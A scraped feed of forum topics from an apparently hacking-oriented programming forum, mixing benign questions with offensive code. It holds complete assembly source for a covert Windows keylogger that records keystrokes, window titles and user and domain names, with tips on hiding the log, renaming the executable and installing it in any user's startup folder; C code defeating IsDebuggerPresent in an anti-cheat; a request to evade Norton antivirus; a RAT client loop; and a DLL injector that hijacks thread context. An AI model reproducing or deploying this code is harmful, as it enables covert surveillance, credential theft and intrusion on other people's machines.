Quantcast
Channel: New Topics
Viewing all 4617 articles
Browse latest View live

Basic key logger but very small

$
0
0
This isn't fancy like some I have seen here, but it is less than 5000 bytes.

I am interested in a keylogger that would save screenshots at adjustable intervals as well as typed input.

CODE Intel Assembler
;*******************************************************************************************
;							 (BEST Viewed with NOTEPAD)
; CopyRight 2005, by ZOverLord at ZOverLords@Yahoo.com - ALL Rights Reserved
;
; "We Don't NEED no STINKIN DLL!"......ENJOY! vist http://testing.OnlyTheRightAnswers.com
;
; Proof Of Concept of using Low-Level Hooks without using any DLL for the Hook
;			This Program is for Educational Proof Of Concept Use ONLY!
;
; This Program compiles in 4K, get it that's 4,096 Bytes. I got TIRED of all these folks
; who need a FAT program as well as a FAT DLL to create a Key-Logger so in frustration
; this proof of concept was created. Log Items include:
;
; Date-Time Stamps, Program Name, Window Title, Window Class, Domain Name, Computer Name
; User Name as well as the ability to be placed in StartUp Folders for ANY and/or ALL
; users. There is NOT any requirement for this to run as ADMIN, ANYONE can place it in
; the startup folder of any user, or for all users.
;
; The Logfile is named ZKeyLog.txt and seperate logs can be kept for seperate users this
; can be done automatically by simply placing the program in the:
;
; C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder
;
; C:\Documents and Settings\?USER?\ folder as ZKeyLog.txt
;	("You can change the File to Hidden if needed")
;
; A Hot-Key of [CTRL]-[ALT]-[F11] will turn the Key-Logger Off
;
; There are two flavors one Raw ASM and one using INVOKES, Raw has more comments, low-level.
;
; You can rename the EXE file to something NOT so obvious if needed, read the AReadMe.txt
;
;*******************************************************************************************
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\advapi32.inc
include \masm32\include\msvcrt.inc
include \masm32\macros\macros.asm
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\msvcrt.lib
;== Prototypes =================================================================
KeyBoardProc proto :DWORD, :WPARAM, :LPARAM
;== Prototypes =================================================================
pushz macro szText:VARARG
local nexti
call nexti
db szText,00h
nexti:
endm
.data
CopyRight  db  "CopyRight 2005, ZOverLords@Yahoo.com"
Vist   db  "http://testing.OnlyTheRightAnswers.com  "
hBuffer   dd  ?
hComputerName   db   32  dup(0)
hCurrentThreadPiD  dd   0
hCurrentWindow  dd  0
hDateFormat  db  "dd MMM yyyy", 0
hDomaineName	db   128 dup(0)
hFile   dd  0
hHook   dd  0
hmodul	MODULEENTRY32   <>
hSnapShot   dd   0
hTimeFormat  db  "hh:mm:ss tt", 0
hUserName			   db   32  dup(0)
msg   MSG  <>
onlyOneCopy  db  "Global\zkl",0
.code
main:
invoke  CreateMutexA,0,0,ADDR onlyOneCopy  
invoke  GetLastError	; check to make sure we are the only copy running
call  GetLastError	; for fast user switching we still support one
cmp  eax,ERROR_ALREADY_EXISTS ; copy per user, but if we are the second copy
je  more_than_one_copy   ; trying to start, we exit
xor ebx, ebx
invoke RegisterHotKey, NULL, 0badfaceh, MOD_CONTROL or MOD_ALT, VK_F11

  pushz "ab"   ; append in binary mode
  pushz "ZKeyLog.txt"  ; name of log file
  call fopen
   add esp, 2*4  ; all c lib functions need fixup..
  ;mov [hFile], eax  ; save our file number
		mov hFile,eax
invoke  GetModuleHandleA, NULL
invoke  SetWindowsHookExA, WH_KEYBOARD_LL, ADDR KeyBoardProc, eax, ebx
mov [hHook], eax  ; ok here is our hook handle for later
invoke GetMessageA, ADDR msg, NULL, NULL, NULL
invoke UnhookWindowsHookEx, hHook

invoke fclose, hFile
more_than_one_copy:
invoke ExitProcess, 0h
;##############################################################
KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpKeyState[256] :BYTE
		LOCAL   lpClassName[64] :BYTE
LOCAL lpCharBuf[32] :BYTE
		LOCAL   lpDateBuf[12] :BYTE
		LOCAL   lpTimeBuf[12] :BYTE
		LOCAL   lpLocalTime :SYSTEMTIME
;----------------------------
lea edi, [lpKeyState] ; lets zero out our buffers
push 256/4
pop ecx
xor eax, eax
rep stosd   ; sets us up for doubleword from EAX
mov eax, wParam
cmp eax, WM_KEYUP  ; only need WM_KEYDOWN
je next_hook   ; bypass double logging

cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN
je next_hook   ; bypass double logging
invoke GetForegroundWindow ; get handle for currently used window ( specific to NT )
cmp [hCurrentWindow], eax ; if its different to last one saved..
je no_window_change  ; bypass all the headings
mov [hCurrentWindow], eax ; save it for use now and compare later
invoke GetClassName, hCurrentWindow, ADDR lpClassName, 64
invoke  GetLocalTime, ADDR lpLocalTime
invoke GetDateFormat, NULL, NULL, ADDR lpLocalTime, ADDR hDateFormat, ADDR lpDateBuf, 12
invoke GetTimeFormat, NULL, NULL, ADDR lpLocalTime, ADDR hTimeFormat, ADDR lpTimeBuf, 12
invoke GetWindowThreadProcessId, hCurrentWindow, ADDR hCurrentThreadPiD
invoke  CreateToolhelp32Snapshot, TH32CS_SNAPMODULE, hCurrentThreadPiD
mov  hSnapShot,eax
		mov  hmodul.dwSize, sizeof MODULEENTRY32

invoke  Module32First,hSnapShot,addr hmodul
invoke  CloseHandle,hSnapShot
  
invoke GetWindowText, hCurrentWindow, ADDR lpKeyState, 256
  
		lea	 esi, [hmodul.szExePath] ; print the current program exe name
		push esi
		lea  esi, [lpTimeBuf] ; print the formatted time
		push esi
		lea esi, [lpDateBuf] ; print the formatted date
		push	esi
pushz 13,10,"[%s, %s - Program:%s]",13,10
push [hFile]  
call fprintf   ; write the buffer to cache
add esp, 3*4
lea esi, [lpClassName] ; print the current window class name
push esi
lea esi, [lpKeyState] ; print the current window title
push esi
pushz 13,10,"[	   Window Title:%s - Window Class:%s]",13,10
push [hFile]  
call fprintf   ; write the buffer to cache
add esp, 3*4
mov  hBuffer, 128  ; get the current domain name
invoke GetComputerNameExA, 1, ADDR hDomaineName, ADDR hBuffer
mov hBuffer, 32  ; get the current computer name
invoke GetComputerNameExA, 0, ADDR hComputerName, ADDR hBuffer
mov hBuffer, 32  ; get the current user name
invoke GetUserName, ADDR hUserName, ADDR hBuffer
		lea  esi, [hUserName] ; print the current user name
		push  esi
		lea esi, [hComputerName] ; print the current computer name
push esi
lea esi, [hDomaineName] ; print the current domain name
push esi
		pushz  "[	   Domain:%s - Computer:%s - User:%s]",13,10
		push [hFile]
call fprintf
add esp, 3*4
invoke fflush, hFile

no_window_change:
mov esi, [lParam]  ; we don't want to print shift or capslock names.
lodsd	; it just makes the logs easier to read without them.
cmp al, VK_LSHIFT  ; they are tested later when distinguishing between
je next_hook  ; bypass left shift Key for upper/lowercase characters
cmp al, VK_RSHIFT
je next_hook  ; bypass right shift Key
cmp al, VK_CAPITAL
je next_hook  ; bypass caps lock Key
cmp al, VK_ESCAPE  
je get_name_of_key  ; we Want escape characters
cmp al, VK_BACK
je get_name_of_key  ; we want backspace key
cmp al, VK_TAB  
je get_name_of_key  ; we want tab key
;------------------
lea edi, [lpCharBuf] ; zero initialise buffer for key text
push 32/4
pop ecx
xor eax, eax
rep stosd
;----------
lea ebx, [lpKeyState]
push ebx
call GetKeyboardState  ; get current keyboard state
invoke GetKeyState, VK_LSHIFT
xchg esi, eax   ; save result in esi

invoke GetKeyState, VK_RSHIFT
or eax, esi   ; al == 1 if either key is DOWN

mov byte ptr [ebx + 16], al  ; toggle a shift key to on/off

invoke GetKeyState, VK_CAPITAL
mov byte ptr [ebx + 20], al  ; toggle caps lock to on/off
mov esi, [lParam]
lea edi, [lpCharBuf]
push 00h
push edi	; buffer for ascii characters
push ebx	; keyboard state
lodsd
xchg eax, edx
lodsd
push eax	; hardware scan code
push edx	; virutal key code
call ToAscii	; convert to human readable characters
test eax, eax   ; if return zero, continue
jnz test_carriage_return  ; else, write to file.
get_name_of_key:   ; no need for large table of pointers to get asciiz
mov esi, [lParam]
lodsd	; skip virtual key code
lodsd	; eax = scancode
shl eax, 16
xchg eax, ecx
lodsd	; extended key info
shl eax, 24
or ecx, eax
push 32
lea edi, [lpCharBuf]
push edi
push ecx
call GetKeyNameTextA  ; get the key text
push edi
pushz "[%s]"
jmp write_to_file
test_carriage_return:
push edi
pushz "%s"
cmp byte ptr [edi], 0dh ; carriage return?
jne write_to_file
mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.
write_to_file:
invoke fprintf, hFile
next_hook:
invoke CallNextHookEx, hHook, nCode, wParam, lParam
ret
KeyBoardProc ENDP
end main

hFile   dd  0
invoke fclose, hFile

C:\masm32\SOURCE\Log.asm(110) : error A2148: invalid symbol type in expression : fclose

Hook (bypass) kernel32.dll IsDebuggerPresent

$
0
0
I've found a code that bypass the IsDebuggerPresent in a anti cheat, but i don't know how use.

Follow the code:

CODE C++ Language
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

char KillIsDebuggerPresent(PROCESS_INFORMATION pi) {

    DWORD tib, pib;
    LDT_ENTRY segselector;
    CONTEXT TempContext;

    TempContext.ContextFlags = CONTEXT_SEGMENTS;
    GetThreadContext(pi.hThread,&TempContext);

    GetThreadSelectorEntry(pi.hThread, TempContext.SegFs, &segselector);

    tib =((segselector.HighWord.Bytes.BaseHi) << 24) +
		    ((segselector.HighWord.Bytes.BaseMid) << 16) +
		    (segselector.BaseLow);

    //printf("TIB @ %X\n", tib);

    if(ReadProcessMemory(pi.hProcess,(void *)(tib+0x30), &pib, sizeof(pib), NULL) == 0)
    {
	    printf("Could not get PIB from TIB !\n");
	    return 0;
    }
    else
    {
	    char debug_info = 0xFF;

	    // printf("PIB @ %X\n", pib);

	    pib += 2;

	    if(ReadProcessMemory(pi.hProcess,(void *)pib, &debug_info, sizeof(debug_info), NULL) == 0)
	    {
		    printf("Unable to read from PIB !\n");
		    return 0;
	    }
	    else
	    {
		    // printf("Old debug value in PIB: %X\n", debug_info);

		    if(debug_info != 0x01)
		    {
			    printf("PB value unexpected. Aborting!");
			    return 0;
		    }
		    else
		    {
			    debug_info = 0;

			    if(WriteProcessMemory(pi.hProcess,(void *)pib, &debug_info, sizeof(debug_info), NULL) == 0)
			    {
				    printf("Could not write new value into PIB !\n");
				    return 0;
			    }
			    else
			    {
				    //printf("PIB debug value override ok!\n";
				    return 1;
			    }
		    } // debug info
	    } // read pib
    } // read tib
}

int main()
{
    KillIsDebuggerPresent(...);
    return 0;
}

socket to norton c++

$
0
0
People i tried my socket app on several machine, the only AV that blocks it is norton, how can i avoid norton detection??

i'm curious, i tried even with reverse connection but it's useless

do i have to change the code??

(i don't want anybody to do my "homework", i need help to understand how to avoid avs...)

windows.h

$
0
0
hey wasup guyz am new to programming but made a few programs but can somebody please explain to me
<windows.h> in full detail without refering me to msdn..............

Reading OptionalHeader in a remote process

$
0
0
Hi,

When I read the IMAGE_NT_HEADERS struct from a remote process, I get the right value for "NtHdr->Signature"
but I don't get right values for the fields of the IMAGE_OPTIONAL_HEADER struct. e.g. NtHdr->OptionalHeader.Subsystem

Does this mean that the IMAGE_OPTIONAL_HEADER struct is just an offset that points somewhere else to that struct?

CODE C Language

	IMAGE_DOS_HEADER  DosHdr;
	IMAGE_NT_HEADERS  * NtHdr;

	if(!ReadProcessMemory
			(hProc,
			 (PVOID)(dwImageBase + DosHdr.e_lfanew),
			 &NtHdr,
			 sizeof(IMAGE_NT_HEADERS),
			 &dwBytes))
  
	cout << "OptionalHeader.Subsystem: " << &NtHdr->OptionalHeader.Subsystem << endl;


IAT and WS2_32.dll

$
0
0
Does anybody have an idea why you cannot find the functions of WS2_32.dll in the import address table?

I tried to scan several PE files, on disk and in memory and it finds the dll WS2_32.dll but it won't find any functions in it.
More precisely there is only garbage instead of the function names. The function addresses are found though.
Other dlls and functions are found without any problem.

Example usage of SetThreadContext

$
0
0
This is example usage of SetThreadContext function.

This program will kill a process using SetThreadContext function.

CODE C Language
#define _WIN32_WINNT 0x600
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>

using namespace std;

int main(){
CONTEXT ctx;
ctx.ContextFlags=CONTEXT_CONTROL;
DWORD PID;
HMODULE k32=GetModuleHandle("kernel32");
cout <<"Example usage of SetThreadContext\n\n";
cout <<"This tool kill a process by setting the eip register to the address \nof ExitProcess function using SetThreadContext function\n\n";
cout <<"Enter PID:";
cin >>PID;
cout <<"\n\n";
THREADENTRY32 te32;
te32.dwSize=sizeof(te32);
HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
while(Thread32Next(hSnap,&te32)){
if(PID==te32.th32OwnerProcessID){
cout <<"Opening thread handle (Thread ID:"<<te32.th32ThreadID<<")\n\n";
HANDLE hThread=OpenThread(THREAD_ALL_ACCESS,false,te32.th32ThreadID);
if(hThread==NULL){
cout <<"Error: Unable to open thread handle\n\n";
}else
{
cout <<"Thread handle opened (Thread handle:"<<hThread<<")\n\n";
}
cout <<"Now setting thread context\n\n";
SuspendThread(hThread);
GetThreadContext(hThread,&ctx);
ctx.Eip=(DWORD)GetProcAddress(k32,"ExitProcess");
SetThreadContext(hThread,&ctx);
ResumeThread(hThread);
CloseHandle(hThread);
}
}
CloseHandle(hSnap);
return 0;
}

Attached Files

[C] Bejeweled Blitz Bot

$
0
0
Hi all,

I was browsing through my code projects and I found my old CLI coded BBlitz bot for Facebook, I remembered my old topic; http://www.rohitab.c...eled-blitz-bot/
What I decided to do was to rewrite it, which I did and here is the result (1080p HD quality is available);

760 000 Points video (record is atm 1.4 million with an average of 550k/game)


Some tips
- Beware of the browser used, I found Opera to work better than both IE/FireFox (Which does have documented problems with Flash, or at least had)/Chrome (God forbid this browser anyway).
- Tested only at 1920x1680 screen resolution. (Should work with others as well).

How it works
The gameboard consists of a 8x8 grid, where each grid is 40x40 pixels. The bot will require one to move the cursor to the centre of the top-left square, then the bot will scan through all 64 squares reading an area of 20x20 pixels and calculate the mean RGB value for that square, using a residual sum of squares equation while storing them in an 8x8 array. Then it will go through the array searching for possible matches, it does so by comparing the calculated mean RGB with a pre-calculated and hardcoded mean RGB. (It does remarkably well, it can identify pretty much every gem in the game, including specials).

After a match has been found, the bot will perform the match while adding a value to that position in another 8x8 array (and near positions). This other 8x8 array will act as a delay timer, which means that no other moves will be performed at this / around this square until x ms has passed.

Conclusion
Ideas of improvement, criticism or general feedback is highly appreciated and asked for.

I decided to release the source code below, please note that both the code and GUI has been updated since the above video was made.

Attached Files


MultiTouch Screen Driver

$
0
0
hi,
i'm just want to write a multi touch screen driver, can u please help me how to start?
is here any API for it in windows, just like we do with mouse events?
for example i just want to click on a button in my app and then it sends a multitouch message to windows.
what is the simplest way?
multitouchvista or CCV can do it for me?

the language that i'm working with is C#.

thanks :)

How to read PE Header of an executable using C

$
0
0
Hello to all RTs I wanna know how to read PE/PEX header of a win32 executable

Thanx to all giving your precious time to my post

Disabled computer

$
0
0
Does anyone know of any consumer computer that requires the motherboard and hard drive be replaced if the bios password has been forgotten ?

That is the case with a laptop that I have.

People make mistakes or forget things.

Seems like a high price to pay.

What do you think ?

Andy

[ADVANCED] rtmpdump output

$
0
0
Do any of you know the rtmpdump?

With it you can capture flash streaming and get the streaming and send that output to something like VideoLAN (VLC Player)

Using it compiled, just do so in Linux console:
CODE C Language
rtmpdump -v -r "rtmp://cp152495.live.edgefcs.net/live/ustream-sj2_583@54778" -W "http://www.ustream.tv/flash/viewer.swf" --live | tee mars.flv | vlc - 

It is open source and the download is in the developers' site.
http://rtmpdump.mplayerhq.hu/

I was wondering if you can use it in C + +, and change the output it to a player (VLC Wrapper)
http://www.codeproje...r-Around-libvlc

Thanks in advance.

Why can't I cannot make more than 3 post/day and use my PM(s)

$
0
0
@Admin/@MODS

Why can't I cannot make more than 3 post/day and use my PM(s)

Please help me(I can only use 2 more post today)...

Winsock problem

$
0
0
Hello guys and girls :D

Simple introduction (SKIP THIS IF YOU WANT):
To start off, I'm new here, and I have a problem, but that's not the reason why I registered in rohitab forums. I've followed rohitab for quite some time now and I must say I'm impressed by the quality of the answers and tutorials and seemingly experienced members in here.
I am developing a RAT (Remote Administration Tool) in C++. I am not a begginer in C++, well at least not in the language itself, but I'm having some problems with Winsock.
I started programming VB.NET about 4 years ago, I started searching through the internet for tutorials that actually explained how to do stuff and not just simply handed you the source code. After a while I had created some basic chatroom servers, and simple games, but eventually I "got tired" and I began getting curious about malware and how it worked and if possible to create a simple virus in VB.NET. Well, it was possible, but obviously applications developped in .NET had an huge dependency (.Net Framework), so I kind of "laid back" on malware creation, for a while. Then I started reading about one of the best programming languages, that had no dependencies: C/C++. I was fascinated. I read several articles comparing multiple programming languages and C/C++ seemed to win most of the times. I had made up my mind: I was going to start learning C++ (not C, because some articles said C++ was better). At a first glance, I was shocked of how complicated the syntax seemed. Anyone who's reading this and made the leap from VB to C++ might have shared the same experience as me.
So, I decided to try to learn, instead, a similar programming language: C#. It was the ideal for switching from VB or some other object oriented language to C/C++. When I got ready, I switched to C++, for real, mainly because both VB.NET and C# were based on the .Net Framework, and thus had dependencies and could easily be disassembled (I'm not sure if that's the correct word, but you get the idea), so it was hardly any good for developping malware.
So, yeah, I've been coding in C++ for about an year and a couple of months I think, and I got into this RAT project 4-5 months ago, and since then I've looked for functions in other RATs and such and tried to get them into my private RAT. I've always tried to do things on my own without copying others, but sometimes I was "forced" to. I coded my RAT from scratch, except for a few functions etc... because I don't know everything, but I always try to and always do my researches.
INTRODUCTION END


My RAT server (the slave) is coded in C++, but my client (the thingy with the GUI) is coded in C#, because I'm the only one who'll use it, so no need for portability in something entirely for you, right?

Basically the data exchange between the two apps is: the client sends the command, and the server reads the first 2 characters of everything it receives and checks them. In this case, for enumerating all files in a directory, the command must be 49 followed by the directory to search.
This works, but when I intend to send multiple data at the same time, they get kind of overlapped, e.g:
The client sends this: "49c:\\users\\blablabla\\desktop" and "49c:\\windows\\system32" at the same time, and the server receives them both together, like this:
"49c:\\users\\blablabla\\desktop49c:\\windows\\system32".
Then, it tries to parse the command, reading the 2 first characters (which in this case mean that this command is to enumerate the files in a directory), and then it reads the rest of the buffer, so it ends up trying to search for files in a non-existant directory: "c:\\users\\blablabla\\desktop49c:\\windows\\system32".

Here's the relevant part of my server code with only one command:
CODE C Language
Connect:
SOCKET Socket = INVALID_SOCKET;
SOCKADDR_IN server_info;
do
{
	if (Socket != INVALID_SOCKET)
	{
	closesocket(Socket);
	WSACleanup();
	}
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	server_info.sin_family = AF_INET;
	hostent* host = gethostbyname("myhostname.something");
	if (host != NULL)
	{
		server_info.sin_addr.s_addr = *((DWORD*)host->h_addr);
	}
	server_info.sin_port = htons(myport);
	Sleep(100);
} while (connect(Socket, (SOCKADDR*)&server_info, sizeof(SOCKADDR_IN)) == SOCKET_ERROR); //loop until the connection is successfull

while (1)
{
	if (WSAGetLastError() == 10054) //if the connection is broken, close the socket, cleanup and go back to the beggining, which is trying to connect
	{
   	 closesocket(Socket);
   	 WSACleanup();
   	 goto Connect; //I know I probably shouldn't be using this, so if any of you has got any tips?
	}
	CHAR buffer[10000] = "";
	memset(buffer, NULL, sizeof(buffer));
	if (recv(Socket, buffer, sizeof(buffer), NULL) > 0) //if there's any data to read in the recv call
		if (buffer[0] == '0' && buffer[1] == '1')
		{
			//first command
		}
		//etc...
		else if (buffer[0] == '4' && buffer[1] == '9')
		{
			CHAR* directory = new CHAR[strlen(buffer)](); //creates a dynamic char array
	   	 for (DWORD i = 2; i < strlen(buffer); i++) //goes through every character in the buffer received, without counting the first two, which together make the command identifier
	   	 {
		   	 char c = buffer[i];
		   	 strncat_s(directory, strlen(buffer), &c, 1); //add each character into the newly created dynamic char array
	   	 }
			Enumerate_Directory(directory); //
		}
	}
}


How should I make it so data doesn't get overlapped?

If any of you has any better approaches for what I'm seeking or has any tip whatsoever, please share them!
Thank you very much :P

Converting project from ansi to unicode

$
0
0
Hi guys,

I have a medium-large C winapi project that is using the ansi character set. I want to be able to support multiple languages, but I believe that most things will break if I define UNICODE. Is this what I should do, rewrite everything, or can I use the wide macros to set the texts for all gui-controls that needs translations and leave UNICODE undefined?

/Andy

Delay needed

$
0
0
The snow falls too fast and I would like to slow it down.

I have some code for a CPU independent delay but don't know where to put the delay.

Thanks.

CODE C Language
; snow.asm 16 bit Tasm code
;
.model tiny
.386
.code
org 100h
start:
jmp begin
eoh db '* SOPHIE *'

begin:
mov ax,13h ; video mode
int 10h
mov bl,2 ; foreground color, bright red = 4
push 0a000h
pop es
mov bh,10d ;this contains count of chars to be
; (this matches what is in eoh)
mov di,30508
mov si,offset eoh
nogeenchar:
mov cl,ds:[si]
inc si
push si
push di
push bx
push ds
push 0f000h
pop ds
mov si,0fa6eh
shl cx,3
add si,cx
mov cx,08
nogeenrow:
lodsb
mov ah,al
mov dl,10000000b
nogeenpixel:
mov al,ah
and al,dl
jz nietneerzetten
mov al,bl
stosb
dec di
nietneerzetten:
inc di
shr dl,1
jnz nogeenpixel
add di,312
dec cx
jnz nogeenrow
pop ds
pop bx
pop di
pop si
add di,8
dec bh
jnz nogeenchar
xor ax,ax
push ax
claudia:
pop ax
inc ax
push ax
sub di,bx
add di,ax
add di,cx
and di,0000001000000000b
shr di,9
push di
mov si,319 ;<---- ; Hier wordt de
mov cl,3 ; eax = n
sneeuwvlokje: ; ebx = n
add ax,bp ; ecx = n
add ax,bx ; edx = n
sub ax,di ; esi = n <- die moet
mov bx,di ; edi = n
or bx,ax ; ebp = n
not ax ; fs add bx,dx ; gs
xor ax,bx ; ds add al,ah ; es mov
;bp,ax
test bp,1
jnz pleuris
not bp
shr bp,1
pleuris:
cmp ax,319
jna gassen
sub ax,319
jmp pleuris
gassen:
add ax,63680
mov di,ax
mov ax,0a000h
mov es,ax
mov al,15
stosb
dec cl
jnz sneeuwvlokje
mov cx,64000-319
push 0a000h
pop es
push es
pop ds
mov ax,15
pop di
volgendepixel:
mov dl,ds:[si] ;bx was si
mov bx,-319
add bx,di
cmp dl,15
jne klaar
nogeenrandommer:
add dx,cx
xor dx,di
add dl,dh
and dl,00000011b
cmp dl,3
je drie
cmp dl,2
je twee
cmp dl,1
jne nogeenrandommer
een:
call piaf
witte1:
dec bx
call piaf
witte2:
dec bx
call paf
jne klaar
jmp plop
twee:
dec bx
call piaf
witte3:
inc bx
call piaf
witte4:
dec bx
dec bx
call paf
jne klaar
jmp plop
drie:
dec bx
dec bx
call piaf
witte5:
inc bx
call piaf
witte6:
inc bx
call paf
jne klaar
jmp plop
ploep:
pop bp
plop:
mov ds:[si],ah
mov ds:[si-bx],al
klaar:
inc si
dec cx
jnz volgendepixel
mov ah,1 ;Check for a key
int 16h
jz claudia ;Loop back
xor ah,ah ;Eat the key
int 16h
mov ax,03h
int 10h
pop ax
push cs
pop ds
ret
piaf proc
call paf
je ploep
ret
endp
paf proc
mov dl,ds:[si-bx]
cmp dl,00
ret
endp
end start
Modify message

Linux on a pen drive

$
0
0
I haven't had much luck with running Linux from a pen drive.

I have tried Slax, Mint, Ubuntu, etc.

Linux Mint 14 worked for a while, but then stopped.

I like the graphics and would like to get it working.

[Request] C++ Accessing kernel ?

$
0
0
Hi every body, and happy christmas :)
i want to acess kernel api's via VC++ 6.0 or Visual Studio 2012
- What are the required classes, libraries, sdk's etc. ?
And how can get them ?
-Thanks / Efe

[C] Bejeweled Blitz Bot

$
0
0
Hi all,

I was browsing through my code projects and I found my old CLI coded BBlitz bot for Facebook, I remembered my old topic; http://www.rohitab.c...eled-blitz-bot/
What I decided to do was to rewrite it, which I did and here is the result (1080p HD quality is available);

760 000 Points video (record is atm 1.4 million with an average of 550k/game)


Some tips
- Beware of the browser used, I found Opera to work better than both IE/FireFox (Which does have documented problems with Flash, or at least had)/Chrome (God forbid this browser anyway).
- Tested only at 1920x1680 screen resolution. (Should work with others as well).

How it works
The gameboard consists of a 8x8 grid, where each grid is 40x40 pixels. The bot will require one to move the cursor to the centre of the top-left square, then the bot will scan through all 64 squares reading an area of 20x20 pixels and calculate the mean RGB value for that square, using a residual sum of squares equation while storing them in an 8x8 array. Then it will go through the array searching for possible matches, it does so by comparing the calculated mean RGB with a pre-calculated and hardcoded mean RGB. (It does remarkably well, it can identify pretty much every gem in the game, including specials).

After a match has been found, the bot will perform the match while adding a value to that position in another 8x8 array (and near positions). This other 8x8 array will act as a delay timer, which means that no other moves will be performed at this / around this square until x ms has passed.

Conclusion
Ideas of improvement, criticism or general feedback is highly appreciated and asked for.

I decided to release the source code below, please note that both the code and GUI has been updated since the above video was made.

Attached Files

Injecting a dll by codecaving and changing context thread

$
0
0
Hi all,

I've been workin' on a DLL injector lately, it works by injecting code and changing the EIP of the context thread which makes it executes the DLL I'm injecting.

Now problem is, sometimes it works, sometimes it doesn't which makes me have to restart both target and the injector.

Screenshot;
http://warpzone.se/fast.PNG

Code;

0xDEADBEEF is just there to mark addresses that I can't know beforehand, and have to patch-in at runtime

CODE C Language
__declspec(naked) loadDll(void)
{
   __asm{
      push 0xDEADBEEF
      pushfd
      pushad
      push 0xDEADBEEF
      mov eax, 0xDEADBEEF
      call eax
      popad
      popfd
      ret
   }
}

__declspec(naked) loadDll_end(void)
{
}

int injectDll(char * DLL_NAME, char * PROC_NAME, HWND hwnd)
{
   void *dllString;
   void *stub;
   unsigned long wowID, threadID, stubLen, oldIP, oldprot, loadLibAddy;
   HANDLE hProcess, hThread;
   CONTEXT ctx;
   
   addEntry("Calculating stub length...", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)0, (LPARAM)NULL);
   stubLen = (unsigned long)loadDll_end - (unsigned long)loadDll;
   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)1, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);
   
   addEntry("Loading library...", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)3, (LPARAM)NULL);
   loadLibAddy = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)4, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);
	
   addEntry("Getting ProcessID...", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)6, (LPARAM)NULL);
   wowID    = GetTargetProcessIdFromProcname(PROC_NAME);
   if(wowID == 0)
   {
	   addEntry("Error!", IDC_LISTATUS, hwnd);
	   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)7, (LPARAM)NULL);
	   return 0;
   }

   addEntry("..Opening process", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)7, (LPARAM)NULL);
   hProcess = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), FALSE, wowID);
   if(!hProcess)
   {
	   addEntry("Error!", IDC_LISTATUS, hwnd);
	   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)8, (LPARAM)NULL);
	   return 0;
   }

   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)8, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);

   addEntry("Allocating memory...", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)10, (LPARAM)NULL);
   dllString = VirtualAllocEx(hProcess, NULL, (strlen(DLL_NAME) + 1), MEM_COMMIT, PAGE_READWRITE);
   stub      = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
   addEntry("..Injecting DLL", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)11, (LPARAM)NULL);
   WriteProcessMemory(hProcess, dllString, DLL_NAME, strlen(DLL_NAME), NULL);
   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)12, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);
   
   addEntry("Getting Thread ID...", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)14, (LPARAM)NULL);
   threadID = GetTargetThreadIdFromProcname(PROC_NAME);
   addEntry("..Opening Thread", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)15, (LPARAM)NULL);
   hThread   = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), FALSE, threadID);
   addEntry("..Suspending thread", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)16, (LPARAM)NULL);
   SuspendThread(hThread);
   addEntry("Done", IDC_LISTATUS, hwnd);
   SendMessage(GetDlgItem(hwnd, IDC_LISTATUS), LB_SETCURSEL, (WPARAM)17, (LPARAM)NULL);
   addEntry(" ", IDC_LISTATUS, hwnd);

   addEntry("Modifying context thread...", IDC_LISTATUS, hwnd);
